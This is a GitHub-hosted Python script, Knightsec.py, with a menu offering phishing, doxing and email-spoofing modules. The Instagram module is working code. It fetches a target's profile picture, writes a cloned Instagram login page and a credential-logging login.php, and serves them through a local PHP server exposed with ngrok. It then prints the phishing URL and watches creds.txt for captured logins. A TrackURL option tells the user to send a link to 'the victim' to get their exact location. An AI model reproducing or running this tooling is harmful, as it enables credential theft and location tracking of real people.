-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathKnightsec.py
283 lines (216 loc) · 7.74 KB
/
Knightsec.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
#!/usr/bin/env python3
# I try to code a shit here
import time
import os
import sys
import requests
from pyvirtualdisplay import Display
import subprocess
from data.instagram import *
BLUE = "\033[1;34m"
RED = "\033[1;31m"
GREEN = "\033[1;33m"
CYAN = "\033[1;96m"
RESET = "\033[0m"
PINK = "\033[1;95m"
try:
import selenium, requests
from selenium import webdriver
except:
print ("[*] Error Importing Exterinal Libraries")
print ("[*] Trying to install it using the requirements.txt file..\n")
try:
os.system("pip install -r requirements.txt")
except:
try:
#if python not in the path (In windows case)
os.system(str(sys.executable)+" -m pip install -r requirements.txt")
except:
print ("[*] Failed installing the requirements [ Install it yourself :p ]")
exit()
def clear():
os.system("clear")
def banner():
print(" "+RED+"██ ▄█▀ ███▄ █ ██▓ ▄████ ██░ ██ ▄▄▄█████▓ ██████ ▓█████ ▄████▄"+RESET)
print(" "+RED+"██▄█▒ ██ ▀█ █ ▓██▒ ██▒ ▀█▒▓██░ ██▒▓ ██▒ ▓▒▒██ ▒ ▓█ ▀ ▒██▀ ▀█"+RESET)
print(" "+RED+"▓███▄░ ▓██ ▀█ ██▒▒██▒▒██░▄▄▄░▒██▀▀██░▒ ▓██░ ▒░░ ▓██▄ ▒███ ▒▓█ ▄"+RESET)
print(" "+RED+"▓██ █▄ ▓██▒ ▐▌██▒░██░░▓█ ██▓░▓█ ░██ ░ ▓██▓ ░ ▒ ██▒▒▓█ ▄ ▒▓▓▄ ▄██▒"+RESET)
print(" "+RED+"▒██▒ █▄▒██░ ▓██░░██░░▒▓███▀▒░▓█▒░██▓ ▒██▒ ░ ▒██████▒▒░▒████▒▒ ▓███▀ ░"+RESET)
print(" "+RED+"▒ ▒▒ ▓▒░ ▒░ ▒ ▒ ░▓ ░▒ ▒ ▒ ░░▒░▒ ▒ ░░ ▒ ▒▓▒ ▒ ░░░ ▒░ ░░ ░▒ ▒ ░"+RESET)
print(" "+RED+"░ ░▒ ▒░░ ░░ ░ ▒░ ▒ ░ ░ ░ ▒ ░▒░ ░ ░ ░ ░▒ ░ ░ ░ ░ ░ ░ ▒"+RESET)
print("\n")
time.sleep(0.5)
# animation in development XD copied from a tool
def Animation(text):
try:
global stopAnimation
i = 0
while Animation is not True:
tempText = list(text)
if i >= len(tempText):
i = 0
tempText[i] = tempText[i].upper()
tempText = ''.join(tempText)
sys.stdout.write(GREEN + tempText + '\r' + RESET)
sys.stdout.flush()
i += 1
time.sleep(0.1)
except:
os._exit(1)
def facebook():
print("COMING SOON!")
time.sleep(1)
main()
# insta copied from Phishx
def instagram():
instapic = ''
Uname = input(" "+BLUE+"["+CYAN+"Username"+BLUE+"]"+GREEN+"> "+RESET)
print(PINK+"Searching username on Instagram..."+RESET)
time.sleep(3)
print(RED+"USER FOUND!"+RESET )
link = "https://instagram.com/"+str(Uname)+"/"
display = Display(visible=0, size=(800, 600))
display.start()
br = webdriver.Chrome()
br.get(link)
time.sleep(8)
l = ''
try:
l=br.find_element_by_css_selector("#react-root > section > main > div > header > div > div > div > button > img").get_attribute("src")
except Exception:
l=br.find_element_by_css_selector("#react-root > section > main > div > header > div > div > span > img").get_attribute("src")
br.close()
display.stop()
os.system("rm -r SERVER/")
subprocess.call(['mkdir','-p','SERVER/'])
filedata = str(Main_Instagram)
filedata = filedata.replace('[l]', str(l))
filedata = filedata.replace('[Uname]', str(Uname))
with open('./SERVER/index.html', 'w') as file:
file.write(filedata)
file.close()
logindata = str(Login_Instagram)
with open('./SERVER/login.php', 'w') as file:
file.write(logindata)
file.close()
secured_html = str(Secured_Instagram)
with open('./SERVER/account_secured.html', 'w') as file:
file.write(secured_html)
file.close()
os.system("touch ./SERVER/creds.txt")
os.system("chmod -R 777 SERVER/")
os.system('xterm -e "cd ./SERVER/ && php -S 127.0.0.1:4444" &')
time.sleep(2)
os.system("ngrok http 4444 > /dev/null &")
time.sleep(3)
display = Display(visible=0, size=(800, 600))
display.start()
browser = webdriver.Chrome()
browser.get("http://localhost:4040/status")
time.sleep(5)
url_f=str(browser.find_element_by_css_selector("li.list-unstyled:nth-child(1) > div:nth-child(2) > table:nth-child(2) > tbody:nth-child(1) > tr:nth-child(1) > td:nth-child(2)").text)
browser.close()
phish_url = str(url_f)
display.stop()
print(" \033[0;37m################################################")
print(" # "+RED+"Listening for Creds on Uname:\033[0;94m"+str(Uname)+"\033[0;37m #")
print(" ################################################\033[0;93m")
print(" "+BLUE+"[\033[0;34m*"+BLUE+"]-["+RED+"EXTRA-URL"+BLUE+"]"+RESET+": \033[0;34m"+phish_url+"\033[0;93m\n")
os.system("tail -f ./SERVER/creds.txt")
print("\n \033[0;34m######################################")
print(" # --DONE-- #")
print(" ######################################"+RESET)
os.system("pkill -9 ngrok")
os.system("pkill -9 php")
def iptracker():
print("SOON")
time.sleep(1)
main()
# tool not mine but menu by me
def trackurl():
print(RED+"WARNING!!! MAC ONLY!!!"+BLUE+"SEND THE Serveo URL GIVEN TO THE VICTIM TO GET HIS EXACT LOCATION IN THE XTERM(lat+long)"+CYAN+"\nPaste the Ngrok url below..."+RESET)
time.sleep(3)
os.system("/TOOLS/Trackers/TrackURL/TrackUrl.sh")
time.sleep(10)
print(PINK+"Send the URL to Victim!"+RESET)
# me
def main():
clear()
banner()
print(BLUE+"\n1."+CYAN+"Phishing\n"+BLUE+"2."+CYAN+"Doxing\n"+BLUE+"3."+CYAN+"SpoofingEmail\n"+BLUE+"0."+CYAN+"Exit"+RESET)
print("")
choice = input(PINK+"Choose > " +RESET)
if not choice.isdigit():
main()
else:
choice = int(choice)
#1.Phishing module
if int(choice) == 0:
print("")
print (RED+"Exiting... "+RESET)
time.sleep(1)
exit()
if choice == 1:
phish()
if choice == 2:
dox()
if choice == 3:
sendemail()
else:
main()
#me
def dox():
clear()
time.sleep(0.5)
print(CYAN+"1.TrackURL\n2.IpTracker\n9.Back"+RESET)
choose_dox = input(PINK+"Choose > "+RESET)
try:
int(choose_dox)
except ValueError:
dox()
if choose_dox == "9":
main()
elif int(choose_dox) == 1:
trackurl()
elif int(choose_dox) == 2:
iptracker()
if choice_dox == "":
dox()
else:
dox()
#me
def phish():
clear()
time.sleep(0.5)
print(CYAN+"1.Facebook\n2.Instagram\n9.Back"+RESET)
choice_phish = input(PINK+"Choose > "+RESET)
try:
int(choice_phish)
except ValueError:
phish()
if choice_phish == "9":
main()
#Facebook
elif int(choice_phish) == 1:
facebook()
#Instagram
elif int(choice_phish) == 2:
instagram()
elif choice_phish == "":
phish()
else:
phish()
#me XD
def sendemail():
print("SOON")
time.sleep(1)
main()
#me idk
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("")
print (RED+"Exiting... "+RESET)
time.sleep(1)
exit()